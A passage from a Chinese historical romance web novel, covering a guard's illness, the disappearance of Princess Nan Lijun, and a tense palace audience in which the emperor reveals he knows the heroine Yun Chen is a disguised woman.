荀戓摆摆手,“嗨,没事,小病吃点药,大病跑不了,管他呢!那回不怪大夫,是我自己吃了药又下河给人寻东西来着。”
她记得荀戓那回,为了多挣点家用,病都没好,非要大冬天下水给人捞匣子,就为了多挣二两银。
不像她一人吃饱全家不饿,荀戓有一大家子老小要养活。
她心里不忍,“狗哥,咱们别拿命换钱,我给你请个好大夫行吗?”
荀戓憨憨一笑,“傻孩子,你是寻恩才入了这行,和我们不一样。我们这些人,如果不是为了钱,谁干这卖命的活。我还得谢谢你,阿琛,如果不是你,我只怕这辈子都沾不上‘霍帮亲卫’的边儿。有了亲卫的月钱,日子好过多啦,你嫂子已经不用上街卖柴火了。”
“别胡说,狗哥,你是凭本事来的,少主本来就看得上你!”她说完,下意识摸向腰间钱袋,却被早有防备的荀戓一把摁住。
荀戓故意板起脸,“行了,别没完没了,你嫂子每个月都收到三份月钱,你当我不知道?你和小六的钱,我都记账上了,早晚我得还,你就别给我再添账了。”
见荀戓坚持,她也怕再说下去,会伤荀戓面子,只好作罢。
“狗哥,我认识东炎一个神医,不行我去求他,让他给你瞧病,一副药就能好。”
荀戓咧咧嘴,揉着肚子笑道:
“费那劲干啥,我琢磨着就是最近喝冷酒太多,又不按时辰吃饭,伤着胃了。这点小病还值得你动用那么大人脉?你可饶了我吧!”
“唉,那你可得按时吃药,别马虎,我瞧你最近瘦得厉害,脸色也黄。”
“知道喽,你小子真啰嗦!”
第88章 南璃君失踪了
“霍家郎,金锭黄;南珠佩,酒肉贵。
靠山山不走,只因此山是金山;靠水水不流,只因此水满金油。”
这是民间编的歌谣。
如今的霍帮,其势锐不可当,其权如日中天,逼得玉家节节败退,堂口大减,钱庄都倒闭了不少。
眼见只差最后一击,便可将玉家彻底吞并,南璃君有些按捺不住,几次三番催促霍乾念筹谋布局,给玉家致命一击。
可霍乾念却觉得时机尚未成熟,冒进贪功大大不妥。
为此事,两方争执多次,一直没有结果。
霍乾念已做好宁可气得南璃君跳脚,也要按兵不动的准备,谁知晴天一个大雷,却炸得他——
不,是炸的整个京都城晃了三晃。
南璃君失踪了。
从重重护卫的公主府里,悄无声息地失踪了。
床边守夜的侍女被一刀杀死,鲜血溅了满床,南璃君却不见踪影。
侍卫们压根没有听到一点动静,可南璃君就这么无声无息地失踪了。
等公主府整个乱起来,要派人去宫里禀报皇帝的时候,才发现公主身边的大女官菘蓝竟然也不见了。
皇帝第一时间宣霍乾念进宫,指明要云琛随护。
皇命难违,霍乾念再手眼通天,不想云琛涉险,也拗不过一道皇命。
果然,一进皇宫内殿,侍卫首领枭泽立马走过来,将刀横在云琛脖子上。
霍乾念摁住心中急切,见殿中只有皇帝和枭泽,索性敞开天窗说亮话:
“皇上,您应当知道,公主急于击溃玉家于葬身之地,但臣认为时机未到,以皇上雷霆手腕,尚由玉家法外多年,臣不认为如今玉家的颓势是真,极可能暗藏着更大的反击阴谋。可公主执意不改。所以眼下公主失踪,不一定是真失踪。”
皇帝坐在龙椅上,面色阴沉得可怕。
“霍家仔,朕不收拾玉家,自有朕的道理,轮不到你揣测。公主失踪,你认为是公主故意为之,为的就是有一个逼你攻玉家的理由?”
霍乾念坐在轮椅上,与皇帝遥遥对坐,没有回答。
皇帝盯了霍乾念许久,随后冷哼一声,抬手示意枭泽放开云琛。
枭泽收回刀,朝云琛快速眨眨眼睛,走回皇帝身边。
云琛被这阵仗搞得一愣一愣的,不明白皇帝要威胁霍乾念,为啥是要杀她啊?
她心里使劲提醒自己机灵点,却一个字都听不明白,皇帝和霍乾念到底在打什么哑谜。
皇帝下令:“枭泽,带她下去。不许任何人靠近。”
枭泽随即带着云琛退下。
将离去之际,云琛正恭敬垂手地往后退,完全没料到霍乾念会在这个时候突然倾身过来,一把攥住她的胳膊。
他紧张地看着她,剑眉紧紧蹙在一起。
她吓得赶紧抽手,却根本挣不脱,只能小声叫道:
“少主!你疯了!这是宫里!这样大不敬啊!”
他这才如梦初醒,一下子放开手,跌坐回椅中,仿佛刚才拉她的手完全由不得他自己控制,全是下意识的动作。
在将退离大殿的时候,云琛瞧见他垂首坐在轮椅里。
高座龙椅之上,老皇帝似笑非笑,说道:
“你老子军规不许‘龙阳’,家规也是一样吧,你小子是真不孝啊!”
云琛心里难受
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,却没有一点法子。
在退往偏殿的路上,见云琛忧心忡忡,枭泽悄声道:
“小妮子,别琢磨了,皇上知道你是女的。”
“啊?”她惊得瞪大眼睛。
枭泽笑道:“上次给你迷晕了捆到马背上的时候,你自己说的,哈哈——这种事我自然要禀报皇上的。”
她的确记得梦里面对枭泽说过,她是女扮男装来的。没曾想那不是梦,竟然是真的。
“那……”她不知道该说什么,请皇帝帮她保守秘密?她哪来那么大面子呢?
“放心,瞧刚才皇上的话,应该不会揭穿你的‘小秘密’。”枭泽安慰到,接着像是又想起了什么,叹道:
“皇上大约是这世上最能理解你的人,皇上懂你的不易。至于霍少主,估计是皇上看不得他那么轻易享福,故意逗他呢。”
“师叔,你到底在说什么?我好像一个字也听不懂。”云琛此刻开始在心里无比认同,这宫里果然人人都是人精,人人都爱打谜语。
枭泽笑而不语,避开话题,“皇上要和霍少主谈很久,走,陪师叔吃盏茶去,你快给我说说江鸣那厮的事。”
两个时辰后,不知皇帝和霍乾念谈了些什么,总之再没有刀架在云琛脖子上了。
临走的时候,霍乾念信誓旦旦地对皇帝说:
“皇上放心,三日——只等三日后,臣一定命全国霍帮堂口开始寻公主!”
皇帝没吭声,瞪了霍乾念一眼,而后由枭泽搀扶着离去了。
云琛不解地问:“少主,为什么要等上三天才开始找公主?”
霍乾念挑眉,“我没说三个月都不错了。”